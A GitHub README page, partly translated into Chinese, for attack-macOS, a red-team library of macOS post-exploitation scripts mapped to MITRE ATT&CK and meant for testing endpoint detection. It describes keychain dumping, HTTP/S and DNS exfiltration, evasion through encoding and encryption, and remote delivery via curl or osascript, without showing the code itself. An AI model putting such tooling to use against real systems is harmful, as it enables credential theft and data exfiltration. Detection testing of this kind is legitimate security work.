darmado/attack-macOS

GitHub: darmado/attack-macOS

基于 MITRE ATT&CK 框架和 LOOBins 的 macOS 后渗透脚本库,帮助安全团队评估和验证端点检测与响应能力。

Stars: 12 | Forks: 1


attack-macOS

![Shell](https://img.shields.io/badge/Shell-grey?style=for-the-badge&logo=gnu-bash) ![JXA](https://img.shields.io/badge/JXA-grey?style=for-the-badge) ![Swift](https://img.shields.io/badge/Swift-grey?style=for-the-badge&logo=swift) [![MITRE ATT&CK](https://img.shields.io/badge/%20ATT%26CK%20v15-red?style=for-the-badge)](https://attack.mitre.org/) ![License](https://img.shields.io/badge/Apache%202.0-grey.svg?style=for-the-badge&logo=apache) ![macOS Compatibility](https://img.shields.io/badge/-blue?style=for-the-badge&logo=apple) [![X Follow](https://img.shields.io/badge/-000000?style=for-the-badge&labelColor=black&logo=x&logoColor=white)](https://x.com/attackmacos)
![Technique Coverage](https://img.shields.io/badge/Technique%20Coverage-11%20(3.43%25)-grey?style=for-the-badge) ![Known Techniques](https://img.shields.io/badge/Known%20Techniques-321-red?style=for-the-badge) ![Procedure Coverage](https://img.shields.io/badge/Procedure%20Coverage-45%20(0.70%25)-grey?style=for-the-badge) ![Estimated Known Procedures](https://img.shields.io/badge/Estimated%20Known%20Procedures-6420-grey?style=for-the-badge)

核心功能快速开始集成

Attack-macOS 提供了一系列脚本,供安全团队评估 macOS 端点检测与响应能力。本项目通过独立脚本执行 [Living Off The Orchard (LOLBins)](https://www.loobins.io/) 技术,内置编码、加密、格式化、日志记录功能,并支持通过 DNS 和 HTTPS 进行数据窃取。 ##
### 面临的挑战
``` flowchart TD A1("🚫 Limited OSS testing tools") A2("⚡ Existing tools are tier II/III (advanced C2s)") A3("🛡️ Commercial tools focus on hardening and MDM") style A1 stroke:#ff6b35,stroke-width:2px,fill:transparent style A2 stroke:#ff6b35,stroke-width:2px,fill:transparent style A3 stroke:#ff6b35,stroke-width:2px,fill:transparent ``` ``` flowchart TD A4("📊 Limited technique and procedure coverage") A5("❓ Known risks are not common knowledge") A6("🔧 Hard to operationalize test pipelines") style A4 stroke:#ff6b35,stroke-width:2px,fill:transparent style A5 stroke:#ff6b35,stroke-width:2px,fill:transparent style A6 stroke:#ff6b35,stroke-width:2px,fill:transparent ``` ## ### 解决方案 ``` flowchart TD A1("✓ Build a library of attack scripts that help security teams evaluate and improve macOS endpoint detection and response capabilities.") style A1 stroke:#90EE90,stroke-width:2px,fill:transparent ``` ### 核心功能 | 功能 | 描述 | 优势 | |:--------|:------------|:--------| | **构建工具** | YAML 模板、模式以及用于生成带有内置参数解析/验证功能新脚本的构建工具。[Parse Args](wiki/R&D%20Library/Functions/Shell/Parse%20Args.md) | 通过自动验证减少脚本开发时间和错误。 | | **模块化设计** | 独立脚本可单独使用,或轻松集成到安全测试框架中。 | 无需复杂的工具链即可快速部署。 | | **标准化帮助** | 所有脚本均包含用于独立执行或基于处理程序执行的 `--help` 菜单。 | 通过减少查阅文档的时间来加快执行速度。 | | **macOS 原生** | TTPs 主要通过 shell 脚本使用原生的 macOS 命令行二进制文件和 API (LOObins)。部分 TTPs 使用 `osascript`(用于 JXA/AppleScript)、`python3` 或 `swift` 执行特定任务或作为包装器。`attackmacos.sh` 处理程序的依赖项极少。 | 通过利用系统实用程序和脚本语言,生成真实的 macOS 遥测数据。 | | **映射 MITRE ATT&CK** | 脚本和参数直接映射到 MITRE ATT&CK 框架。 | 有助于合规性报告和威胁模型对齐。 | | **日志记录** | 具备 JSON/CSV 输出格式的 Syslog 日志记录。[Log Output](wiki/R&D%20Library/Functions/Shell/Log%20Output.md) | 自动化证据收集;加速测试后分析。 | | **编码和加密** | 提供多种数据编码(Base64、Hex、Perl)和加密(AES、GPG、XOR)选项。[Encode Output](wiki/R&D%20Library/Functions/Shell/Encode%20Output.md) • [Encrypt Output](wiki/R&D%20Library/Functions/Shell/Encrypt%20Output.md) | 模拟规避技术以提高测试的真实性。 | | **数据窃取** | 模拟通过 HTTP/S 和 DNS 进行的数据窃取。[Exfiltrate Data](wiki/R&D%20Library/Functions/Shell/Exfiltrate%20Data.md) | 测试攻击链以发现数据防泄露的盲点。 | | **兼容 CI/CD 流水线** | 可与安全工具、自动化流水线和 CI/CD 工作流集成。 | 以较少的手动工作量支持持续安全测试。 | | **Caldera 集成** | 原生 Caldera 插件,用于集成红队行动。[Caldera Plugin](integrations/caldera/plugins/attackmacos/) | 简化了红队的 Caldera 部署和执行。 | | **YAML 优先配置** | 每种技术均在 YAML 中定义,包含完整的元数据、参数和 MITRE ATT&CK 映射 | 自动化能力生成和一致的部署 | | **模块化设计** | 独立运行的脚本可单独使用或组合使用,并能与现有的安全测试框架集成 | 无需复杂的工具链或基础设施变更即可快速部署 | | **标准化帮助** | 所有脚本均包含 `--help` 菜单,可通过自定义部署框架独立执行 | 无需查阅文档即可执行 | | **macOS 原生** | 无需外部依赖,使用原生工具和解释器。参见 [LOLBins](https://www.loobins.io/) | 生成归因于威胁行为者的 macOS 遥测数据 | | **映射 MITRE ATT&CK** | 所有脚本和参数均映射到带有正确技术 ID 和名称的 MITRE ATT&CK 框架 | 合规性报告和威胁模型对齐 | | **多种输出格式** | 用于分析和集成的 JSON、CSV 输出格式 | 证据收集和测试后分析 | | **编码和加密** | 多种数据编码选项和加密功能,包括 AES-256-CBC、GPG 和 XOR | 使用规避技术增加测试真实性 | | **数据窃取** | 通过 HTTP/S 或 DNS 协议进行数据窃取 | 测试完整的攻击链并识别数据防泄露中的检测盲点 | | **兼容 CI/CD 流水线** | 与现有的安全工具、自动化流水线和 CI/CD 工作流集成 | 无需人工干预的持续安全测试 | ## # 执行工作流 ``` flowchart TD A( 1: Choose your procedure script) --> A1("🐚 Shell Scripts") A --> A2("🟡 JXA Scripts") A --> A3("🐍 Python Scripts") A --> A4("🦉 Swift Scripts") A1 --> B( 2: Choose Delivery Method) A2 --> B A3 --> B A4 --> B B --> B1("🏠 Local ") B --> B2("☁️ Remote from GGH
curl
wgetosascript ") B1 --> C(3: Execute
T1634: Dump Keys) B2 --> C C --> C1("📋 Format") C --> C2("🔧 Encode") C --> C3("🔐 Encrypt") C --> C4("📡 Exfiltrate") C1 --> D("📋 Log and
🔍Analyze Events") C2 --> D C3 --> D C4 --> D D --> D1("🎯 Identify Endpoint
Detection Gaps") style A1 fill:transparent,stroke:#6140E0,stroke-width:2px style A2 fill:transparent,stroke:#C7B300,stroke-width:2px style A3 fill:transparent,stroke:#3BC05A, stroke-width:2px style A4 fill:transparent,stroke:#47B7F8, stroke-width:2px style A fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style B fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style C fill:#0D0D0D,stroke:#EB5454,stroke-width:2px,color:#fff style D fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style D1 fill:#1a237e,stroke:#47B7F8,stroke-width:2px,color:#fff ``` ##
# **MacOS ATT&CK 覆盖矩阵**
| 初始访问 | 执行 | 持久化 | 权限提升 | 防御规避 | 凭证访问 | 发现 | 横向移动 | 收集 | 命令与控制 | 数据窃取 | 影响 | | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | ![T1133](https://img.shields.io/badge/T1133-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
外部远程服务 | ![T1129](https://img.shields.io/badge/T1129-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
共享模块 | ![T1205.002](https://img.shields.io/badge/T1205.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Socket Filters | ![T1037](https://img.shields.io/badge/T1037-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
启动或登录初始化脚本 | ![T1205.002](https://img.shields.io/badge/T1205.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Socket Filters | ![T1557](https://img.shields.io/badge/T1557-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
中间人攻击 | ![T1033](https://img.shields.io/badge/T1033-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
系统所有者/用户发现 | ![T1021.005](https://img.shields.io/badge/T1021.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
VNC | ![T1560.001](https://img.shields.io/badge/T1560.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过实用程序归档 | ![T1205.002](https://img.shields.io/badge/T1205.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Socket Filters | ![T1567](https://img.shields.io/badge/T1567-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过 Web 服务窃取 | ![T1561.002](https://img.shields.io/badge/T1561.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
磁盘结构擦除 | | ![T1195.001](https://img.shields.io/badge/T1195.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
破坏软件依赖和开发工具 | ![T1059.007](https://img.shields.io/badge/T1059.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
JavaScript | ![T1037](https://img.shields.io/badge/T1037-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
启动或登录初始化脚本 | ![T1574.007](https://img.shields.io/badge/T1574.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过 PATH 环境变量进行路径拦截 | ![T1027.009](https://img.shields.io/badge/T1027.009-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
嵌入式 Payload | ![T1556.003](https://img.shields.io/badge/T1556.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
可插拔认证模块 | ![T1016.001](https://img.shields.io/badge/T1016.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
互联网连接发现 | ![T1080](https://img.shields.io/badge/T1080-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
污染共享内容 | ![T1113](https://img.shields.io/badge/T1113-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
屏幕截图 | ![T1132.001](https://img.shields.io/badge/T1132.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
标准编码 | ![T1567.004](https://img.shields.io/badge/T1567.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过 Webhook 窃取 | ![T1498.001](https://img.shields.io/badge/T1498.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
直接网络洪水攻击> | | ![T1566.002](https://img.shields.io/badge/T1566.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
钓鱼链接 | ![T1204.002](https://img.shields.io/badge/T1204.002-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
恶意文件 | ![T1556.003](https://img.shields.io/badge/T1556.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
可插拔认证模块 | ![T1543](https://img.shields.io/badge/T1543-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
创建或修改系统进程 | ![T1556.003](https://img.shields.io/badge/T1556.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
可插拔认证模块 | ![T1056.001](https://img.shields.io/badge/T1056.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
键盘记录 | ![T1069](https://img.shields.io/badge/T1069-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
权限组发现 | ![T1021.004](https://img.shields.io/badge/T1021.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
SSH | ![T1557](https://img.shields.io/badge/T1557-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
中间人攻击 | ![T1568.002](https://img.shields.io/badge/T1568.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
域生成算法 | ![T1029](https://img.shields.io/badge/T1029-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
定时传输 | ![T1491.002](https://img.shields.io/badge/T1491.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
外部污损 | | ![T1566.001](https://img.shields.io/badge/T1566.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
钓鱼附件 | ![T1053.003](https://img.shields.io/badge/T1053.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Cron | ![T1574.007](https://img.shields.io/badge/T1574.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过 PATH 环境变量进行路径拦截 | ![T1546.006](https://img.shields.io/badge/T1546.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
LC_LOAD_DYLIB 注入 | ![T1564.012](https://img.shields.io/badge/T1564.012-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
文件/路径排除项 | ![T1110.001](https://img.shields.io/badge/T1110.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
密码猜测 | ![T1652](https://img.shields.io/badge/T1652-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
设备驱动发现 | ![T1563.001](https://img.shields.io/badge/T1563.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
SSH 劫持 | ![T1056.001](https://img.shields.io/badge/T1056.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
键盘记录 | ![T1071.004](https://img.shields.io/badge/T1071.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
DNS | ![T1011](https://img.shields.io/badge/T1011-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过其他网络介质窃取 | ![T1499.001](https://img.shields.io/badge/T1499.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
操作系统耗尽型洪水攻击 | | ![T1195.003](https://img.shields.io/badge/T1195.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
破坏硬件供应链 | ![T1053](https://img.shields.io/badge/T1053-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
计划任务/作业 | ![T1543](https://img.shields.io/badge/T1543-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
创建或修改系统进程 | ![T1548.003](https://img.shields.io/badge/T1548.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Sudo 和 Sudo 缓存 | ![T1222.002](https://img.shields.io/badge/T1222.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Linux 和 Mac 文件及目录权限修改 | ![T1003](https://img.shields.io/badge/T1003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
操作系统凭证转储 | ![T1087.002](https://img.shields.io/badge/T1087.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
域账户 | ![T1021](https://img.shields.io/badge/T1021-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
远程服务 | ![T1123](https://img.shields.io/badge/T1123-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
音频捕获 | ![T1573.001](https://img.shields.io/badge/T1573.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
对称加密 | ![T1011.001](https://img.shields.io/badge/T1011.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过蓝牙窃取 | ![T1499.003](https://img.shields.io/badge/T1499.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
应用耗尽型洪水攻击 | | ![T1195](https://img.shields.io/badge/T1195-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
供应链破坏 | ![T1059.002](https://img.shields.io/badge/T1059.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
AppleScript | ![T1133](https://img.shields.io/badge/T1133-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
外部远程服务 | ![T1547](https://img.shields.io/badge/T1547-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
启动或登录自启动执行 | ![T1574.007](https://img.shields.io/badge/T1574.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过 PATH 环境变量进行路径拦截 | ![T1539](https://img.shields.io/badge/T1539-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
窃取 Web 会话 Cookie | ![[T1087.001](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/discovery/accounts.sh)](https://img.shields.io/badge/T1087.001-lightgrey?style=for-the-badge&label=%2012%20&labelColor=3bc05a&color=494949)
本地账户 | ![T1563](https://img.shields.io/badge/T1563-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
远程服务会话劫持 | ![T1560.003](https://img.shields.io/badge/T1560.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过自定义方法归档 | ![T1568.001](https://img.shields.io/badge/T1568.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
快速 Flux DNS | ![T1020](https://img.shields.io/badge/T1020-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
自动窃取 | ![T1561](https://img.shields.io/badge/T1561-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
磁盘擦除 | | ![T1190](https://img.shields.io/badge/T0-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
利用面向公众的应用 | ![T1106](https://img.shields.io/badge/T1106-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
原生 API | ![T1546.006](https://img.shields.io/badge/T1546.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
LC_LOAD_DYLIB 注入 | ![T1053.003](https://img.shields.io/badge/T1053.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Cron | ![T1564.008](https://img.shields.io/badge/T1564.008-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
电子邮件隐藏规则 | ![T1555.002](https://img.shields.io/badge/T1555.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Securityd 内存 | ![T1497.001](https://img.shields.io/badge/T1497.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
系统检查 | ![T1072](https://img.shields.io/badge/T1072-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
软件部署工具 | ![T1114](https://img.shields.io/badge/T1114-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
电子邮件收集 | ![T1071](https://img.shields.io/badge/T1071-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
应用层协议 | ![T1048.001](https://img.shields.io/badge/T1048.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过对称加密非 C2 协议窃取 | ![T1565.001](https://img.shields.io/badge/T1565.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
存储数据操纵 | | ![T1659](https://img.shields.io/badge/T1659-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
内容注入 | ![T1059](https://img.shields.io/badge/T1059-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
命令和脚本解释器 | ![T1547](https://img.shields.io/badge/T1547-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
启动或登录自启动执行 | ![T1053](https://img.shields.io/badge/T1053-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
计划任务/作业 | ![T1027.013](https://img.shields.io/badge/T1027.013-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
加密/编码文件 | ![T1110.002](https://img.shields.io/badge/T1110.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
密码破解 | ![T1069.002](https://img.shields.io/badge/T1069.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
域组 | ![T1210](https://img.shields.io/badge/T1210-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
利用远程服务 | ![T1025](https://img.shields.io/badge/T1025-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
来自可移动介质的数据 | ![T1219](https://img.shields.io/badge/T1219-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
远程访问软件 | ![T1567.001](https://img.shields.io/badge/T1567.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
窃取至代码仓库 | ![T1489](https://img.shields.io/badge/T1489-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
服务停止 | | ![T1078.001](https://img.shields.io/badge/T1078.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
默认账户 | ![T1569.001](https://img.shields.io/badge/T1569.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Launchctl | ![T1053.003](https://img.shields.io/badge/T1053.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Cron | ![T1037.002](https://img.shields.io/badge/T1037.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
登录钩子 | ![T1014](https://img.shields.io/badge/T1014-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Rootkit | ![[T1555.001](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/credential_access/shell/keychains.sh)](https://img.shields.io/badge/T1555.001-lightgrey?style=for-the-badge&label=%209%20&labelColor=3bc05a&color=494949)
Keychain | ![T1007](https://img.shields.io/badge/T1007-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
系统服务发现 | ![T1534](https://img.shields.io/badge/T1534-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
内部钓鱼 | ![T1074.001](https://img.shields.io/badge/T1074.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
本地数据暂存 | ![T1659](https://img.shields.io/badge/T1659-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
内容注入 | ![T1048.002](https://img.shields.io/badge/T1048.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过非对称加密非 C2 协议窃取 | ![T1499.004](https://img.shields.io/badge/T1499.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
应用或系统漏洞利用 | | ![T1199](https://img.shields.io/badge/T1199-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
信任关系 | ![T1559.003](https://img.shields.io/badge/T1559.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
XPC 服务 | ![T1053](https://img.shields.io/badge/T1053-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
计划任务/作业 | ![T1055](https://img.shields.io/badge/T1055-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
进程注入 | ![T1548.003](https://img.shields.io/badge/T1548.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Sudo 和 Sudo 缓存 | ![T1555.005](https://img.shields.io/badge/T1555.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
密码管理器 | ![T1040](https://img.shields.io/badge/T1040-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
网络嗅探 | ![T1570](https://img.shields.io/badge/T1570-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
横向工具转移 | ![T1119](https://img.shields.io/badge/T1119-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
自动收集 | ![T1205](https://img.shields.io/badge/T1205-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
流量信令 | ![[T1041](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1041-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)
通过 C2 通道窃取 | ![T1565.003](https://img.shields.io/badge/T1565.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
运行时数据操纵 | | ![T1566](https://img.shields.io/badge/T1566-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
网络钓鱼 | ![T1204](https://img.sh.io/badge/T1204-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
用户执行 | ![T1176](https://img.shields.io/badge/T1176-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
浏览器扩展 | ![T1543.004](https://img.shields.io/badge/T1543.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Launch Daemon | ![T1036.005](https://img.shields.io/badge/T1036.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
匹配合法名称或位置 | ![T1040](https://img.shields.io/badge/T1040-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
网络嗅探 | ![T1135](https://img.shields.io/badge/T1135-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
网络共享发现 | | ![T1115](https://img.shields.io/badge/T1115-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
剪贴板数据 | ![T1572](https://img.shields.io/badge/T1572-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
协议隧道 | ![T1048](https://img.shields.io/badge/T1048-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过替代协议窃取 | ![T1498.002](https://img.shields.io/badge/T1498.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
反射放大攻击 | | ![[T1078](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/initial_access/guest_account.sh)](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)
有效账户 | ![T1072](https://img.shields.io/badge/T1072-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
软件部署工具 | ![T1037.002](https://img.shields.io/badge/T1037.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
登录钩子 | ![T1078.001](https://img.shields.io/badge/T1078.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
默认账户 | ![T1036.008](https://img.shields.io/badge/T1036.008-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
伪装文件类型 | ![T1558](https://img.shields.io/badge/T1558-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
窃取或伪造 Kerberos 票据 | ![T1120](https://img.shields.io/badge/T1120-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
外围设备发现 | | ![T1074.002](https://img.shields.io/badge/T1074.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
远程数据暂存 | ![T1071.003](https://img.shields.io/badge/T1071.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
邮件协议 | ![T1052.001](https://img.shields.io/badge/T1052.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过 USB 窃取 | ![T1499.002](https://img.shields.io/badge/T1499.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
服务耗尽型洪水攻击 | | ![T1566.004](https://img.shields.io/badge/T1566.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
语音钓鱼 | ![T1059.004](https://img.shields.io/badge/T1059.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Unix Shell | ![T1205](https://img.shields.io/badge/T1205-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
流量信令 | ![T1546.005](https://img.shields.io/badge/T1546.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Trap | ![T1564](https://img.shields.io/badge/T1564-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
隐藏痕迹 | ![T1555](https://img.shields.io/badge/T1555-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
来自密码存储的凭证 | ![T1082](https://img.shields.io/badge/T1082-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
系统信息发现 | | ![T1005](https://img.shields.io/badge/T1005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
来自本地系统的数据 | ![T1092](https://img.shields.io/badge/T1092-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过可移动介质通信 | ![T1567.003](https://img.shields.io/badge/T1567.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
窃取至文本存储网站 | ![T1491](https://img.shields.io/badge/T1491-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
污损 | | ![T1195.002](https://img.shields.io/badge/T1195.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
